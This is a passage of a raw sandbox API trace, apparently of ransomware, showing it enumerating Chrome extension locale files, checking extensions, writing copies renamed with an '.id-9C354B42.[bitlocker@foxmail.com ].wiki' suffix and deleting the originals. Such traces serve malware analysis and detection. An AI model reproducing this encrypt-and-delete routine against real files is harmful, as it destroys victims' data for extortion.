[0177.120] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.120] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json") returned 151 [0177.121] lstrlenW (lpString=".jpg") returned 4 [0177.121] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.121] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json") returned 151 [0177.121] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json") returned 151 [0177.121] lstrlenW (lpString=".doc") returned 4 [0177.121] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.121] lstrlenW (lpString=".docx") returned 5 [0177.121] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.121] lstrlenW (lpString=".pdf") returned 4 [0177.121] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.121] lstrlenW (lpString=".xls") returned 4 [0177.121] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.121] lstrlenW (lpString=".xlsx") returned 5 [0177.121] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.121] lstrlenW (lpString=".ppt") returned 4 [0177.121] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.121] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json") returned 151 [0177.121] lstrlenW (lpString=".zip") returned 4 [0177.121] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.121] lstrlenW (lpString=".rar") returned 4 [0177.121] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.121] lstrlenW (lpString=".bz2") returned 4 [0177.121] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.121] lstrlenW (lpString=".7z") returned 3 [0177.121] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.121] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json") returned 151 [0177.121] lstrlenW (lpString=".dbf") returned 4 [0177.121] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.121] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json") returned 151 [0177.121] lstrlenW (lpString=".1cd") returned 4 [0177.122] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.122] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mn\\messages.json") returned 151 [0177.122] lstrlenW (lpString=".jpg") returned 4 [0177.122] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.122] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.122] lstrlenW (lpString="messages.json") returned 13 [0177.122] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.122] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=300) returned 1 [0177.122] CloseHandle (hObject=0x1ac) returned 1 [0177.123] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json")) returned 0x2020 [0177.123] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.123] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.123] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.123] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.123] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0177.123] GetLastError () returned 0x0 [0177.123] ReadFile (in: hFile=0x1ac, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x12c, lpOverlapped=0x0) returned 1 [0177.124] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x130, lpOverlapped=0x0) returned 1 [0177.125] ReadFile (in: hFile=0x1ac, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0177.125] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.126] SetEndOfFile (hFile=0x1a0) returned 1 [0177.126] CloseHandle (hObject=0x1a0) returned 1 [0177.126] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.126] SetEndOfFile (hFile=0x1ac) returned 1 [0177.127] CloseHandle (hObject=0x1ac) returned 1 [0177.127] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.127] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json")) returned 1 [0177.127] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json") returned 151 [0177.127] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json") returned 151 [0177.127] lstrlenW (lpString=".doc") returned 4 [0177.127] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.127] lstrlenW (lpString=".docx") returned 5 [0177.127] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.127] lstrlenW (lpString=".pdf") returned 4 [0177.127] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.127] lstrlenW (lpString=".xls") returned 4 [0177.127] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.128] lstrlenW (lpString=".xlsx") returned 5 [0177.128] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.128] lstrlenW (lpString=".ppt") returned 4 [0177.128] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.128] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json") returned 151 [0177.128] lstrlenW (lpString=".zip") returned 4 [0177.128] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.128] lstrlenW (lpString=".rar") returned 4 [0177.128] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.128] lstrlenW (lpString=".bz2") returned 4 [0177.128] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.128] lstrlenW (lpString=".7z") returned 3 [0177.128] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.128] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json") returned 151 [0177.128] lstrlenW (lpString=".dbf") returned 4 [0177.128] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.128] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json") returned 151 [0177.128] lstrlenW (lpString=".1cd") returned 4 [0177.128] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.128] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json") returned 151 [0177.128] lstrlenW (lpString=".jpg") returned 4 [0177.128] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.128] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json") returned 151 [0177.128] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json") returned 151 [0177.128] lstrlenW (lpString=".doc") returned 4 [0177.128] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.128] lstrlenW (lpString=".docx") returned 5 [0177.129] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.129] lstrlenW (lpString=".pdf") returned 4 [0177.129] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.129] lstrlenW (lpString=".xls") returned 4 [0177.129] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.129] lstrlenW (lpString=".xlsx") returned 5 [0177.129] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.129] lstrlenW (lpString=".ppt") returned 4 [0177.129] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.129] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json") returned 151 [0177.129] lstrlenW (lpString=".zip") returned 4 [0177.129] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.129] lstrlenW (lpString=".rar") returned 4 [0177.129] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.129] lstrlenW (lpString=".bz2") returned 4 [0177.129] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.129] lstrlenW (lpString=".7z") returned 3 [0177.129] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.129] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json") returned 151 [0177.129] lstrlenW (lpString=".dbf") returned 4 [0177.129] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.129] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json") returned 151 [0177.129] lstrlenW (lpString=".1cd") returned 4 [0177.129] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.129] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json") returned 151 [0177.129] lstrlenW (lpString=".jpg") returned 4 [0177.129] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.130] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.130] lstrlenW (lpString="messages.json") returned 13 [0177.130] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.130] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=203) returned 1 [0177.130] CloseHandle (hObject=0x1ac) returned 1 [0177.130] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json")) returned 0x2020 [0177.130] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0177.130] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0177.130] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.131] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.131] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0177.131] GetLastError () returned 0x0 [0177.131] ReadFile (in: hFile=0x1ac, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xcb, lpOverlapped=0x0) returned 1 [0177.132] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xd0, lpOverlapped=0x0) returned 1 [0177.133] ReadFile (in: hFile=0x1ac, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0177.133] WriteFile (in: hFile=0x1a0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0177.133] SetEndOfFile (hFile=0x1a0) returned 1 [0177.133] CloseHandle (hObject=0x1a0) returned 1 [0177.133] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0177.133] SetEndOfFile (hFile=0x1ac) returned 1 [0177.134] CloseHandle (hObject=0x1ac) returned 1 [0177.134] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0177.134] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json")) returned 1 [0177.135] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json") returned 151 [0177.135] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json") returned 151 [0177.135] lstrlenW (lpString=".doc") returned 4 [0177.135] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.135] lstrlenW (lpString=".docx") returned 5 [0177.135] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.135] lstrlenW (lpString=".pdf") returned 4 [0177.135] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.135] lstrlenW (lpString=".xls") returned 4 [0177.135] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.135] lstrlenW (lpString=".xlsx") returned 5 [0177.135] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.135] lstrlenW (lpString=".ppt") returned 4 [0177.135] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.135] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json") returned 151 [0177.135] lstrlenW (lpString=".zip") returned 4 [0177.135] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.135] lstrlenW (lpString=".rar") returned 4 [0177.135] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.135] lstrlenW (lpString=".bz2") returned 4 [0177.135] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.135] lstrlenW (lpString=".7z") returned 3 [0177.135] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.441] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json") returned 151 [0177.441] lstrlenW (lpString=".dbf") returned 4 [0177.441] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.441] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json") returned 151 [0177.441] lstrlenW (lpString=".1cd") returned 4 [0177.441] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.441] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json") returned 151 [0177.441] lstrlenW (lpString=".jpg") returned 4 [0177.441] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.441] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json") returned 151 [0177.441] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json") returned 151 [0177.442] lstrlenW (lpString=".doc") returned 4 [0177.442] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0177.442] lstrlenW (lpString=".docx") returned 5 [0177.442] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0177.442] lstrlenW (lpString=".pdf") returned 4 [0177.442] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0177.442] lstrlenW (lpString=".xls") returned 4 [0177.442] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0177.442] lstrlenW (lpString=".xlsx") returned 5 [0177.442] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0177.442] lstrlenW (lpString=".ppt") returned 4 [0177.442] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0177.442] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json") returned 151 [0177.442] lstrlenW (lpString=".zip") returned 4 [0177.442] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0177.442] lstrlenW (lpString=".rar") returned 4 [0177.442] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0177.442] lstrlenW (lpString=".bz2") returned 4 [0177.442] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0177.442] lstrlenW (lpString=".7z") returned 3 [0177.442] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0177.442] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json") returned 151 [0177.442] lstrlenW (lpString=".dbf") returned 4 [0177.442] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0177.442] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json") returned 151 [0177.442] lstrlenW (lpString=".1cd") returned 4 [0177.442] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0177.442] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ms\\messages.json") returned 151 [0177.442] lstrlenW (lpString=".jpg") returned 4 [0177.442] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0177.443] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0177.443] lstrlenW (lpString="messages.json") returned 13 [0177.443] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 